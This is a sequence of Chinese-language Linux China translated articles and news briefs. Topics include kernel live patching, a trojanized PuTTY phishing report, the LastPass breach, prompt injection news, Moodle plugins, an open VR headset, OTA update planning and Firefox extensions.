本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](/article-15036-1.html) 荣誉推出


硬核观察 #762 Facebook 在数百万台服务器上使用 Kpatch 内核实时补丁

Summary: • Facebook 在数百万台服务器上使用 Kpatch 内核实时补丁 • 黑客使用木马版 PuTTY SSH 客户端植入后门 • LastPass 表示在驱逐前已被入侵内部系统 4 天

![](/data/attachment/album/202209/17/161103qd5n7s6bd2x5xnus.jpg)

![](/data/attachment/album/202209/17/161113h0k03k5y0yih0r80.jpg)

### Facebook 在数百万台服务器上使用 Kpatch 内核实时补丁

内核实时补丁允许内核在运行时安全地实施就地修补，而无需为了升级内核而进行冗长的开机自检（POST）和启动过程。Facebook 采用的是红帽的 Kpatch 方案，已经在其数百万台服务器上进行了部署。除了 Kpatch 方案之外，其它的内核实时补丁方案还有 SUSE 维护的 kGraft 和 Oracle 的 Ksplice 方案。Facebook 还分享了他们在应用过程中遇到的各种问题。

>
> **[消息来源：Phoronix](https://www.phoronix.com/news/Meta-Linux-Kernel-Live-Patching)**
>
>
>

>
> 老王点评：这是我听到的内核实时补丁最大规模的部署了，看起来已经可以在大规模生产环境使用了。Facebook 的经验可以学习一下。
>
>
>

![](/data/attachment/album/202209/17/161126rg8bhqsszw3bkbdl.jpg)

### 黑客使用木马版 PuTTY SSH 客户端植入后门

安全公司报告，黑客组织在一次针对媒体公司的钓鱼攻击中使用了木马版 PuTTY SSH 客户端。PuTTY 是流行的开源 SSH 客户端。攻击者首先向目标发送邮件提供亚马逊的工作机会，后续通信中发送了包含了 IP 地址和登陆凭证以及木马版的 PuTTY 的文件。攻击者诱骗受害者打开文件运行木马版本以进行技能评估。但该版本含有恶意载荷，会部署和安装后门程序。

>
> **[消息来源：Mandiant](https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing)**
>
>
>

>
> 老王点评：PuTTY 是一个小巧而流行的 SSH 客户端，但是一定要使用一个干净的。很多人在临时使用 SSH 时，都会去网上随便搜索一个 PuTTY 下载使用，这种往往是有木马的。
>
>
>

![](/data/attachment/album/202209/17/161147m5yfp2z20n1fxpff.jpg)

### LastPass 表示在驱逐前已被入侵内部系统 4 天

今年 8 月，LastPass [被入侵](/article-14969-1.html)，入侵者使用多因素身份验证成功通过了身份验证，从而访问了内部开发环境。但 LastPass 表示，“系统设计和控制阻止了威胁行为者访问任何客户数据或加密密码库”。这很可能是因为只有构建发布团队才能将代码从开发环境推送到产品环境，而它们是“物理分离，没有直接连接”的。

>
> **[消息来源：BleepingComputer](https://www.bleepingcomputer.com/news/security/lastpass-says-hackers-had-internal-access-for-four-days/)**
>
>
>

>
> 老王点评：虽然入口被突破，但是内部损失有限，这说明良好的内部 IT 环境还是相当重要的。
>
>
>


哇！Torvalds 为自己的 Apple M2 Macbook 专门修改了 Fedora Linux

把“修复代码”看成“复制代码”了，哈哈

>
> Linus Torvalds 让 Fedora Linux Workstation 36 成功运行在 Apple Macbook Air M2 上。666！
>
>
>

![Wow! Torvalds Modified Fedora Linux to Run on his Apple M2 Macbook](/data/attachment/album/202209/18/160809d85ci8hh6415mjc8.png)

Linus Torvalds 喜欢写代码和修复代码。当然，这是他的技术专长。

如果你知道的话，他就是那个因为买不起 UNIX，转头就创造了 Linux 的家伙。

出于类似的原因，他还在 BitKeeper 不再免费使用后构建了 Git。

即使在今天，他仍继续着他的动手精神和“没有我解决不了的问题”的态度。

他设法在他的 Apple Macbook Air M2 上运行了 Fedora Linux 36 Workstation 版本。

**注意**：从 Asahi Linux 的 Hector Martin 那里得知，Linus Torvalds 似乎在这里使用了 [Leif 的工具包](https://github.com/leifliddy/asahi-fedora-builder)。所以，你可能想多了，他并没有从头开始做所有事情来让它发挥作用。

多亏了 ZDNet 对 Torvalds 的 [采访](/article-15039-1.html)，我们才发现了这一激动人心的考验。

### Apple M2 芯片上的 Fedora Linux

Apple Macbook Air 是一款出色的笔记本电脑。但是，它不能完全按照消费者想要的方式运行 Linux。

然而，Linus Torvalds 似乎是使 Linux 运行在苹果电脑上的天才。

尽管苹果基于 ARM 的 M2 芯片没有 Fedora 移植，但他还是做到了。

请注意，这并不意味着你可以立即在 Macbook Air M2 上运行 Fedora Linux。它只适合像 Torvalds 这样的 Linux 高手才能使其工作。

他说，即使没有图形加速和在 GNOME 桌面环境中缺少某些图形效果（例如屏幕调光），这种体验也很出色。

>
> 我喜欢这种方式，它使显示更加迅捷。我可能也会在我的其他机器上关掉这些。
>
>
>

事实上，总的来说，这是一项令人兴奋的成就！

### Apple 芯片上 Linux 的现状

不仅是 Linus Torvalds，而且每个人都对 Apple M1/M2 芯片的性能印象深刻。

事实上，他利用 Macbook Air M2 发布了 **Linux 内核 5.19**。

>
> **[Linus Torvalds 使用 Apple MacBook 硬件发布 Linux Kernel 5.19](https://news.itsfoss.com/linux-kernel-5-19-release/)**
>
>
>

尽管我们很想尝试一下，但 Apple 的 M2 还没有为 Linux 做好准备。

幸运的是，像 [Asahi Linux](https://asahilinux.org/) 这样的项目一直在不断改进对 Apple 芯片的支持。他们还设法使 [Linux 在最新的 Apple M2 芯片上运行](https://asahilinux.org/2022/07/july-2022-release/)。

而且，在 Linux 创造者的努力下，我们应该很快就能在 Macbook 上看到完整的 Linux 体验。

到目前为止，你可以使其与 Asahi Linux 一起使用，但对于大多数用户来说，它仍然无法取代它作为日常办公系统。

#### 推荐阅读 ?

有兴趣了解更多关于 Torvalds 的知识吗？我们这里有一个有趣的收藏?

>
> **[Linus Torvalds：关于 Linux 创造者的 20 个事实](https://itsfoss.com/linus-torvalds-facts/)**
>
>
>

*? 你如何看待在 Apple 硬件上运行的 Fedora Linux？你希望某个发行版可以在 Apple M1/M2 驱动的设备上运行吗？是哪个发行版？*

---

via: <https://news.itsfoss.com/fedora-apple-torvalds/>

作者：[Ankush Das](https://news.itsfoss.com/author/ankush/) 选题：[lkxed](https://github.com/lkxed) 译者：[littlebirdnest](https://github.com/littlebirdnest) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


5 款可以吸引学生的有用的 Moodle 插件

Summary: 使用插件来赋予你的在线学习平台新的功能来激励学生。

使用插件来赋予你的在线学习平台新的功能来激励学生。

>
> 使用插件来赋予你的在线学习平台新的功能来激励学生。
>
>
>

![](/data/attachment/album/202209/18/165423pkiq74kwzokqzoq7.jpg "阅读书籍的人和数字拷贝")

无论在哪里，优秀的在线学习平台对于教育都非常重要。教师们需要一种途径来开办课堂，学生们需要一个友好的用户界面来促进学习，而管理者也需要一种方法来监控教育系统的有效性。

Moodle 是一个开源的软件包，允许你创建一个带有互动在线课程的私人网站。它可以帮助人们进行虚拟的在线聚会，互相教授和学习，并在此过程中保持井井有条。

Moodle 的独特之处在于它的该可用性，利用第三方解决方案可以显著提高可用性。如果你访问 [Moodle 插件目录](https://moodle.org/plugins/)，你将会找到超过 1,700 种由开源社区开发的插件。

面对如此多的选择，为你的学员挑选出最好的插件可能是一个挑战。为了帮助你开始，这里是我挑选出来的五大插件，你可以将其添加到你的在线学习平台。

### Level up!

![Level up Moodle 插件](/data/attachment/album/202209/18/165431d60u3il5aal6c2kd.png "Level up Moodle 插件")

>
> **[Level up! 官网](https://levelup.plus/)**
>
>
>

激励和吸引学习者是教育工作者最困难的任务之一。[Level up! 插件](https://moodle.org/plugins/block_xp) 允许你将学习体验游戏化，将积分分配给完成任务的学生，并显示进度和等级提升。这会鼓励你的学生在健康的氛围中竞争，并成为一个很好的学习者。

另外，你可以完全控制学生所获得的积分，并且他们可以在达到一定等级的时候解锁内容。所有的这些功能都是免费提供的。如果你考虑付费，你可以购买一些额外的功能，如个人奖励和团队排行榜。

### BigBlueButton

![BigBlueButton Moodle 插件](/data/attachment/album/202209/18/165432iqboyfy4xnmyzmyn.png "BigBlueButton Moodle 插件")

>
> **[BigBlueButton 官网](https://bigbluebutton.org/)**
>
>
>

[BigBlueButton](https://moodle.org/plugins/mod_bigbluebuttonbn) 可能是最知名的 Moodle 插件。这个开源的视频会议解决方案使得教育者能够让学生远程参与实时在线课程和小组协作活动。它提供了一些重要的功能，例如：实时屏幕共享、音视频通话、聊天，发送表情和分组讨论室。这款插件还可以让你记录你的直播课程。

BigBlueButton 让你能够在任何课程中创建多个活动链接、限制你的学生在你加入之前加入会话、创建自定义欢迎消息、管理你的录音等等。总而言之，BigBlueButton 拥有你教授和参与在线课程所需要的一切。

### ONLYOFFICE

![ONLYOFFICE Moodle 插件](/data/attachment/album/202209/18/165432hueepqiqe449eepv.png "ONLYOFFICE Moodle 插件")

>
> **[ONLYOFFICE 官网](https://www.onlyoffice.com/)**
>
>
>

[ONLYOFFICE 插件](https://github.com/logicexpertise/moodle-mod_onlyoffice) 允许学习者和教育者在他们的浏览器中直接创建和编辑文本文档、电子表格和演示文档。无需安装任何额外的应用程序，他们就可以处理附在课程中的 .docx、.xlsx、.pptx、.txt 和 .csv 文件；打开 .pdf 文件进行查看；并应用复杂格式和对象，包括自动形状、表格、图表、方程式等等。

此外，ONLYFFICE 使得实时共同编辑文件成为可能，这意味着几个用户可以同时在同一个文件上工作。不同的权限（完全访问、评论、审查、只读和填表）使你更容易灵活地管理对文档的访问。

### Global Chat

![Global Chat Moodle 插件](/data/attachment/album/202209/18/165433z36yzrum3jr2uizq.png "Global Chat Moodle 插件")

>
> **[Global Chat 官网](https://moodle.org/plugins/block_gchat)**
>
>
>

[Global Chat 插件](https://moodle.org/plugins/block_gchat) 允许教育者和学习者通过 Moodle 进行实时交流。该插件提供了你课程中所有用户的列表，当你点击一个用户的名字时，它会在页面底部打开一个聊天窗口，以便你们进行交流。

有了这个易于使用的工具，你不需要打开一个单独的窗口来开始在线对话。你可以在网页之间转换，而你的对话将始终保持开放。

### Custom certificate

![Custom certificate Moodle 插件](/data/attachment/album/202209/18/165437f8skrncqcs7h8nnm.png "Custom certificate Moodle 插件")

>
> **[Custom certificate 官网](https://moodle.org/plugins/mod_customcert)**
>
>
>

另一个吸引学生的有效方法是提供证书作为完成课程的奖励。颁发结业证书的承诺有助于保持学生的进度和对培训的承诺。

[Custom certificate 插件](https://moodle.org/plugins/mod_customcert) 允许你在你的网页浏览器中生成完全可定制的 PDF 证书。重要的是，该插件与 GDPR 要求兼容，而且证书有独特的验证码，所以你可以用它们进行真实认证。

### 更多丰富的 Moodle 插件

这些是我最喜欢的五个 Moodle 插件。你可以通过在 [Moodle.org](http://Moodle.org) 上 [注册一个账户](https://moodle.com/getstarted/) 来试用它们，或者你可以托管你自己的插件（或者与你的系统管理员或 IT 人员商量，为你设置一个托管环境）。

如果这些插件不符合你的学习目标，可以看看其他可用的插件。如果你找到一个好的插件，请留下评论并告诉大家。

---

via: <https://opensource.com/article/21/3/moodle-plugins>

作者：[Sergey Zarubin](https://opensource.com/users/sergey-zarubin) 选题：[lujun9972](https://github.com/lujun9972) 译者：[MareDevi](https://github.com/MareDevi) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


硬核观察 #763 AI 机器人遇到“提示注入”攻击

Summary: • AI 机器人遇到“提示注入”攻击 • Ubuntu 支持更多来自中国的 RISC-V 板卡 • Craigslist 的界面和 25 年前一样

等着看，啥时候更新

Linux 中国没改版吗？我记得现在这个样是刚改的吧。以前的版面比现在的这个好。

![](/data/attachment/album/202209/18/195603ojx5dxv1dzvig4zj.jpg)

![](/data/attachment/album/202209/18/195615sd0n07ki00kmczzl.jpg)

### AI 机器人遇到“提示注入”攻击

研究人员发现了一种被称为“提示注入”的技术，可以将 AI 机器人重定向到重复令人尴尬和可笑的短语。一些推特用户在这个发现之后，劫持了一个在 GPT-3 语言模型上运行的自动推特机器人，从而导致该 AI 机器人被迫关闭。注入式攻击的概念并不新鲜，如 SQL 注入、XSS，但防御“提示注入”的困难来自于 AI 没有正式的语法，因而不像其他注入攻击那样纠正语法就能防御大部分攻击。

>
> **[消息来源：ARS Technica](https://arstechnica.com/information-technology/2022/09/twitter-pranksters-derail-gpt-3-bot-with-newly-discovered-prompt-injection-hack/)**
>
>
>

>
> 老王点评：我想，AI 或许很快就会“进化”出防御的能力。
>
>
>

![](/data/attachment/album/202209/18/195628l41i2r44fx2cemni.jpg)

### Ubuntu 支持更多来自中国的 RISC-V 板卡

除了支持赛昉的昉·星光和全志的哪吒 RISC-V 板卡外，Canonical 工程师也在努力为下个月的 Ubuntu 22.10 添加更多的 RISC-V 板卡支持。他们正在为一款起价为 16.90 美元的 RISC-V 板卡 Sipeed Lichee RV 提供支持。它是一块带有 M.2 接口的计算模块板，可以连接到载体板。它使用全志 D1 SoC，采用单核玄铁 C906 64 位 RISC-V 处理器，运行频率仅为 1.0GHz。这是一块非常便宜但很慢的板卡，适用于物联网领域。

>
> **[消息来源：Phoronix](https://www.phoronix.com/news/Ubuntu-22.10-Sipeed-LicheeRV)**
>
>
>

>
> 老王点评：看起来 Canonical 越来越重视 RISC-V 了，而且，中国的 RISC-V 厂商进展也不错。
>
>
>

![](/data/attachment/album/202209/18/195643sj22rnffz3nrr5s5.png)

### Craigslist 的界面和 25 年前一样

分类广告网站 Craigslist 自 1995 年上线以来，其页面外观一直没有变化。其创始人称，对使用这个网站的用户来说，它简单又方便，这就足够了。他说作为一名工程师，简单就是美，实用就是美。Craigslist 总共只有 10 名员工，从事开发、客服和会记工作，没有任何人从事销售工作。

>
> **[消息来源：PCMag](https://www.pcmag.com/news/heres-why-craigslist-still-looks-the-same-after-25-plus-years)**
>
>
>

>
> 老王点评：你认同他的说法吗？我觉得还是懒 —— 不过话说也有一些人批评 Linux 中国好多年没改版的网站很丑。至于我们这么多年没改版的原因就不说了，我只能说新版就来了，就来了，只要小白不烂尾……
>
>
>


来自欧洲的一个开源 3D 打印 VR 头盔项目

Summary: 三家欧洲企业创建了一个 6 GHz WiFi 6E 无线开源虚拟现实头盔。

三家欧洲企业创建了一个 6 GHz WiFi 6E 无线开源虚拟现实头盔。

![](/data/attachment/album/202209/18/230351z5wcbof2kaayhzre.jpg)

>
> 三家欧洲企业创建了一个 6 GHz WiFi 6E 无线开源虚拟现实头盔。
>
>
>

捷克 3D 打印专家 Prusa Research 公司正在与模拟器开发商 Vrgineers 和英国的 Somnium Space 合作开发 Somnium VR ONE 头盔。这款产品可以连接或者独立使用，旨在尽可能地开放，来改变虚拟现实市场中受限的供应。

由于 Android 11 操作系统是一个开源的操作系统，其源代码是公开的，因此它将在不受限制的商业许可下出售。其中央处理单元是高通骁龙 XR2 CPU，支持 microSD 存储卡，并拥有 8GB 的LPDDR5 内存和 512GB UFS 闪存。

它采用新的 6 GHz 的 WiFi 6E 高带宽无线协议，而不是目前拥挤的 5GHz 和 2.4GHz WiFi频率，以实现更高的带宽和低延迟连接。它包括两个 3.2 英寸 2880RGB \* 2880 快速液晶屏幕，具有 120 度水平视野和 100 度垂直视野。

它具有两个用于外部小工具的 USB-C 10 Gbit/s 链路，和一个 USB-C USB2.0 电池组（USB3.2 Gen2）。Somnium Space 与布拉格的 VRgineers 合作，在线销售电子产品和独有的镜头，使用户能够 3D 打印自己的头盔，此外，也会提供完整的头盔。

该企业于 2012 年在布拉格成立，已经拥有 700 多名员工。开源的 Prusa i3 design 是世界上使用最广泛的 3D 打印机，每月从布拉格直接向 160 多个国家运送超过 10000 台 Original Prusa 打印机。

<ruby> 合成训练环境 <rt>  Synthetic Training Environments </rt></ruby>（STE）是由捷克共和国的模拟器开发商 VRgineers 向企业和政府客户提供的。它创造了被称为 XTAL 的专业 8K 头盔，该头盔被 NASA、空客防务与航天公司和 BAE Systems 公司使用，目前在布拉格、布尔诺和拉斯维加斯拥有一支由 50 名专家组成的国际团队。

总部位于伦敦的 Somnium Space 是一个建立在区块链上的开放、社交和永久虚拟现实平台。由于其独特的 NFT 的去中心化经济，用户可以拥有、交易和交换数字商品而无需获得授权。它已经与高通公司和 Ultraleap 公司在 Lynx R-1 上进行了合作，这是一个独立的增强现实（AR）头盔设计。

---

via: <https://www.opensourceforu.com/2022/09/a-project-for-an-open-source-3d-printed-vr-headgear-from-europe/>

作者：[Laveesh Kocher](https://www.opensourceforu.com/author/laveesh-kocher/) 选题：[lkxed](https://github.com/lkxed) 译者：[zjoftceo](https://github.com/zjsoftceo) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


规划 OTA 更新需要了解的 3 件事

Summary: 在开始编写应用之前，为手机、物联网设备和边缘计算定义无线更新计划。

在开始编写应用之前，为手机、物联网设备和边缘计算定义无线更新计划。

![](/data/attachment/album/202209/18/232810u6fgx6qwxfzeqeqx.jpg)

>
> 在开始编写应用之前，为手机、物联网设备和边缘计算定义无线更新计划。
>
>
>

过去对系统的更新相对简单。当开发人员需要修改他们已经分发给公众的东西时，会发布一个更新程序供人们运行。用户将运行更新程序，允许用新文件替换旧文件并添加新文件。然而，即使有了这些“相对简单”的更新，也有一个问题。当用户安装好的系统处于意外状态时会发生什么？升级中断时会发生什么？当各种设备都在线时，这些问题同样重要，有时需要重要的安全更新。今天的许多更新都是通过无线、<ruby> 空中下载技术 <rt>  over-the-air </rt></ruby>（OTA）的方式提供的，连接不良、信号突然丢失或断电的可能性可能会对应该是次要更新的内容造成灾难性的影响。这些是你在计划提供 OTA 更新时需要考虑的三大策略。

### 1、验证

TCP 协议内置了很多验证功能，因此当你 [向设备发送数据包](https://www.redhat.com/sysadmin/beginners-guide-network-troubleshooting-linux) 时，通常可以确信每个数据包都已完好无损地收到。但是，TCP 无法报告它不知道的错误，因此由你来验证以下内容：

* 你是否已发送更新所需的所有文件？设备无法接收没有发送的内容。
* 收到的文件和你发送的文件一样吗？至少，检查 SHA 和以验证文件完整性。
* 如果可能，请使用 [数字签名](https://www.redhat.com/sysadmin/digital-signatures-gnupg) 确保文件来自受信任的来源。
* 在允许更新开始之前，你必须验证设备能够应用更新。在提交更新之前检查权限和电池状态，并确保你的更新过程覆盖任何意外的用户事件，例如计划的重新启动或休眠。
* 最后，你必须验证声称已成功完成的更新是否已实际完成。在将更新正式标记为系统已完成之前，请检查目标设备上的文件位置和完整性。

### 2、回退和故障状态

更新的最坏情况是设备处于损坏状态，以至于它甚至不能继续被中止的更新。在这种情况下，更新程序文件存在于目标设备上，但该过程已被中断。这可能会使设备处于未知状态，其中一些文件已被更新版本替换，而其他文件尚未被替换。在最坏的情况下，已更新的文件与尚未更新的文件不兼容，因此设备无法按预期运行。

有一些策略可以解决这个问题。初始更新步骤可能是安装专用于完成更新的特殊引导镜像或环境，并在系统上设置“标志”以确认更新正在进行中。这样可以确保即使设备在更新过程中突然断电，更新过程也会在下次启动时重新启动。仅在验证更新后才删除表示更新成功的标志。

根据目标设备的安全策略和你要更新的内容，特殊的引导镜像可能不可行或不需要。不过，原理还是一样的。当启动后，更新必须建立一个环境，在这个环境中，待处理的更新是解决问题之前的唯一途径

但是，在更新被授予启动权限之前，用户（如果有的话）应该能够延迟或忽略更新。

### 3、附加更新

在许多边缘和物联网设备中，目标设备的底层是不可变的。更新只会添加到系统的已知状态。 [Fedora Silverblue](https://silverblue.fedoraproject.org) 之类的项目正在证明这种模式可以在许多领域发挥作用，因此这种奢侈的做法可能会变得司空见惯。不过，在那之前，成功应用更新的一部分是了解你将要影响的环境。

不过，你不需要不可变的核心来应用附加更新。你可以构建一个使用相同概念的系统，将更新作为添加库或包的一种方式，而无需修改旧版本。作为此类更新的最后一步，具有更新路径的可执行文件是你所做的唯一实际修订。

### OTA 更新

世界越来越无线化。对于手机、物联网设备和 [边缘计算](https://www.redhat.com/en/topics/edge-computing/what-is-edge-computing?intcmp=7013a000002qLH8AAM)，OTA 更新通常是唯一的选择。实施 OTA 更新策略需要仔细规划并仔细考虑不可能的情况。你最了解你的目标设备，因此请在开始编码之前规划好你的更新架构。

---

via: <https://opensource.com/article/22/9/plan-ota-updates-edge>

作者：[Alan Smithee](https://opensource.com/users/alansmithee) 选题：[lkxed](https://github.com/lkxed) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


11 个有趣的 Firefox 浏览器扩展，改善你的浏览体验

　　Bitwarden 是我用过推荐最多但个人用着觉得特别难受的密码管理软件。<br />
　　火狐自带截图，不需要装扩展。

![](/data/attachment/album/202209/19/142052i277yjgyy11zzrdu.jpg)

我想我们都同意，Firefox 是 [Linux 的最佳浏览器](https://itsfoss.com/best-browsers-ubuntu-linux/) 之一。

而且锦上添花的是，你可以用一些扩展来提高你的浏览体验! 也许甚至可以将 Facebook 隔离在容器中？?

在我推荐一些优秀的 Firefox 浏览器扩展之前，让我给你一些提示。

### 安装 Firefox 扩展前须知

我们都知道的一件事是 [盲目地安装浏览器扩展可能是极其有害的](https://www.bleepingcomputer.com/news/security/chrome-extensions-with-14-million-installs-steal-browsing-data/)。那么如何确定浏览器扩展是否可以安全使用？

由于本文是关于 Firefox 扩展的，我们将重点放在 Firefox 的*市场*（获取扩展的官方渠道）。

虽然没有什么是 100% 安全的，但有几件事可以检查：

![一个理想的可以安全使用的 Firefox 扩展](/data/attachment/album/202209/19/142055ebgw6kbcrdb6rqfy.jpg)

* [扩展的徽章](https://support.mozilla.org/en-US/kb/add-on-badges)：寻找“推荐”或“By Firefox”徽章；忽略包含警告徽章/图标的扩展。
* 菜单和评论：虽然仅此一项并不能提供太多保证，但这是你可以在其他方面考虑的一件事。此外，关注评论的数量可以帮助你了解它在用户中是否足够受欢迎。
* [扩展的权限](https://support.mozilla.org/en-US/kb/permission-request-messages-firefox-extensions)：某些扩展需要诸如“访问浏览器标签页”、“导航时访问浏览器动作”等权限。记下这一点并确定你对哪些权限的舒适程度。
* 最后更新日期：有时，即使是优秀的、知名的扩展也不会更新。这没关系，但对于像密码管理器、广告拦截器这样的扩展来说，这很重要。应始终谨慎使用超过 2 个月没更新的扩展。
* 扩展发布者：始终确保扩展的发布者是你信任的人，或者已经发布了你信任的扩展。

话虽如此，让我们来看看一些可以改善你的网络浏览体验的扩展。

另请阅读：

>
> **[9 个开源扩展可改善你的 Mozilla Firefox 体验](https://itsfoss.com/best-firefox-add-ons/)**
>
>
>

### 1、Facebook Container

![Facebook Container](/data/attachment/album/202209/19/142055kb6g662kodiodojb.jpg)

**主要亮点：**

* 由 Mozilla Firefox 团队制作
* 平均评分为 4.5 星（3,500 多条评论）
* 定期更新

每个人都讨厌 Facebook，但很少有人愿意从自己的网站上删除 Facebook 的跟踪元素。所以 Mozilla 引用了一个灭霸的片段 —— “好吧，我自己做”，并为 Firefox 用户创建了这个扩展。

顾名思义，为 Facebook 创建了一个隔离容器（与 Docker 无关）。所有与 Facebook 相关的东西都发生在这个孤立的容器中。 这最终使社交媒体巨头更难追踪你。

>
> **[安装 Facebook Container](https://addons.mozilla.org/en-US/firefox/addon/facebook-container/)**
>
>
>

### 2、uBlock Origin

![ublock origin firefox 1](/data/attachment/album/202209/19/142056ehiululuu4kzcuiy.jpg)

**主要亮点：**

* Mozilla 推荐的扩展
* 4.8 星的平均评分（14,000 多条评论）
* 定期更新

uBlock Origin 是 Firefox 最知名和最受信任的“广告拦截”扩展之一。是的，它主要用于屏蔽广告，但因为它的基本任务是屏蔽你的网络浏览器中的元素，所以它可以屏蔽很多项目。广告，是的，还有网络跟踪器、加密货币矿工、弹出窗口等。

虽然它的权限可能看起来有点过分，但这背后是有原因的。该扩展需要“*在导航期间访问浏览器活动*”和“*访问所有网站的数据*”等权限，以便它可以评估每个查询并阻止那些看起来有害或无用的查询。

>
> **[安装uBlock Origin](https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/)**
>
>
>

### 3、Bitwarden

![Bitwarden 演示](/data/attachment/album/202209/19/142321r49z0efkyf9jq09z.jpg)

**主要亮点：**

* Mozilla 推荐的扩展
* 平均评分为 4.8 星（6000 多条评论）

Bitwarden 应该是每个人的首选密码管理器。它为移动端、网页端和 PC 端提供免费同步支持，还可以安全地存储笔记，帮助生成用户名**和**密码、自动填充用户信息等等。最重要的是，[它使用 GPL-3.0 许可证](https://github.com/bitwarden/clients/blob/master/LICENSE.txt)。谁不喜欢自由开源软件？

Bitwarden 拥有*我会在密码管理器中寻找*的一切。如果你想升级到高级版，只需 10 美元。 我强烈推荐这个 Firefox 扩展！

>
> **[安装 Bitwarden](https://addons.mozilla.org/en-US/firefox/addon/bitwarden-password-manager/)**
>
>
>

### 4、LanguageTool

![LanguageTool 扩展使用演示](/data/attachment/album/202209/19/142331l91rbsu1arxs9ers.jpg)

**主要亮点：**

* Mozilla 推荐的扩展
* 平均评分为 4.7 星（2900 多条评论）
* 定期更新

你是否想要 [Grammarly](https://www.grammarly.com/) 的开源替代品？虽然我在使用 Grammarly 时没有任何问题，但我真正喜欢和首选的是自由开源软件。LanguageTool 是一款出色的工具，可用于检查拼写错误等语法不一致、使用不同的拼写（color 与 colour）、常见的混淆词（then 与 than），你还可以使用它获得同义词库。

根据我使用此扩展的经验，它几乎可以在所有文本上可靠地工作。毫无问题。该扩展最大的两个特点如下：

* 支持超过 25 种语言。支持的语言列在“关于此扩展程序”部分的底部。
* 使用此扩展无需注册！

>
> **[安装 LanguageTool](https://addons.mozilla.org/en-US/firefox/addon/languagetool/)**
>
>
>

### 5、Tranquikity Reader

![firefox tanquility](/data/attachment/album/202209/19/142056dmqqcjxcxccjqv4j.jpg)

想象一下，你正在阅读互联网上的一篇文章，网页顶部和底部有两个横幅广告，整个右侧都是广告，底部的广告横幅是自动播放的视频。你打开广告拦截器，但视频继续播放。有时横幅中没有广告，但它们仍然占用了宝贵的屏幕空间。你是否感觉很烦恼？

别担心，看，Firefox 的 **Tranquility Reader** 扩展可以解决这个问题。此扩展程序删除了“额外的”元素，如照片、视频、广告、社交媒体共享按钮等。它为你提供了一个干净的 UI，只有文本，因此你可以专注于阅读。

Tranquility Reader 扩展具有以下统计信息：

* Mozilla 推荐的扩展
* 平均评分为 4.6 星（200 条评论）
* 不经常更新但积极维护

>
> **[安装 Tranquility](https://addons.mozilla.org/en-US/firefox/addon/tranquility-1/)**
>
>
>

### 6、Enhancer for YouTube

![Enhancer for YouTube 一项功能的演示](/data/attachment/album/202209/19/142342hb56c4sh0th1dthm.jpg)

**主要亮点：**

* Mozilla 推荐的扩展
* 平均 4.7 星评级（9,000 多条评论）

它是 Firefox 中众多 Youtube 增强扩展之一。它为 YouTube 播放器添加了一些按钮，允许进行更多的自定义。你可以获得诸如更改分辨率、控制播放速度、使用鼠标滚轮控制音频音量等功能。

你可以在其 [官方网页](https://www.mrfdev.com/how-to-use-enhancer-for-youtube) 上找到有关该扩展程序的更多信息。

>
> **[安装 Enhancer for YouTube](https://addons.mozilla.org/en-GB/firefox/addon/enhancer-for-youtube)**
>
>
>

### 7、Tomato Clock

![Tomato Clock](/data/attachment/album/202209/19/142056kdxb55c1u55zzpld.jpg)

当你上网时，跟踪你的时间、生产力和理智是至关重要的。尤其是当你正在研究一个主题并陷入困境时，你应该休息一下，但你会过于投入，以至于你可能会忘记时间。

Tomato Clock 扩展正如它的名字，它是一个时钟定时器。一个“番茄”有 25 分钟长，根据你对屏幕上显示的内容的心理投入而感觉或长或短。完成 25 分钟后，你将收到一个浏览器通知，通知你时间的流逝。

**主要亮点：**

* Mozilla 推荐的扩展
* 它的平均评分为 4.5 星（300 多条评论）
* 使用 GPL v3.0 许可证

>
> **[安装 Tomato Clock](https://addons.mozilla.org/en-US/firefox/addon/tomato-clock/)**
>
>
>

### 8、Search by Image

![演示 Firefox 的图片搜索扩展的“捕获”功能](/data/attachment/album/202209/19/142351azttsqwzitslkz0k.jpg)

**关键亮点：**

* Mozilla 推荐的扩展
* 平均评分为 4.6 星（1,100 多个评论）
* 对你上传的媒体采用了合理的 [隐私政策](https://addons.mozilla.org/en-US/firefox/addon/search_by_image/privacy/)

当你搜索“红色兰博基尼”一词时，你会得到红色兰博基尼的图片。但是，如果你不知道它是什么车呢？这个扩展允许你使用图像而不是文字术语来搜索图像，并显示类似的结果或该图像的来源地。

你可以通过以下方式选择图片进行搜索：

* 选择 URL：这使你可以直接点击显示在网页上的图像。
* 网页截图：选择网页上的一个特定区域，以便进行反向图像搜索。
* 本地图片：从计算机的本地驱动器（而不是网页）上传一个现有的图像。
* URL：粘贴图像的 URL 以进行反向图像搜索。

>
> **[安装 Search by Image](https://addons.mozilla.org/en-US/firefox/addon/search_by_image/)**
>
>
>

### 9、Dictionary Anywhere

![Dictionary Anywhere 扩展显示所选单词的含义](/data/attachment/album/202209/19/142359hqd1g3sa51gkd1v2.jpg)

**主要亮点：**

* Mozilla 推荐的扩展
* 平均 4.3 星评级（260 条评论）
* 不定期更新

有一个无障碍的字典从来都不是一件坏事！当然，我已经被 macOS 的“压感查询”功能宠坏了。当我使用 Linux 时，Firefox 的 Dictionary Anywhere 扩展确实弥补了这一点。我需要做的就是双击一个词，然后定义就会弹出来！

目前，支持的语言只有英语、西班牙语、德语和法语。请注意，这个扩展不能在 Firefox 的阅读模式下工作。这是因为脚本不允许在这种模式下执行。

一个小瑕疵是，这使得在一个可编辑的文本中“双击并选择整个单词”变得略微恼人。这是为方便性付出的一个小代价。

此外，如果你想要一个积极维护的扩展，这将使你失望。

>
> **[下载 Dictionary Anywhere](https://addons.mozilla.org/en-GB/firefox/addon/dictionary-anyvhere/)**
>
>
>

### 10、Vimium-FF

![vimium FF](/data/attachment/album/202209/19/142057m3h16s3yxk3xq6y0.png)

**主要亮点：**

* 平均评分 4.8 星（400 多条评论）
* 实验性扩展

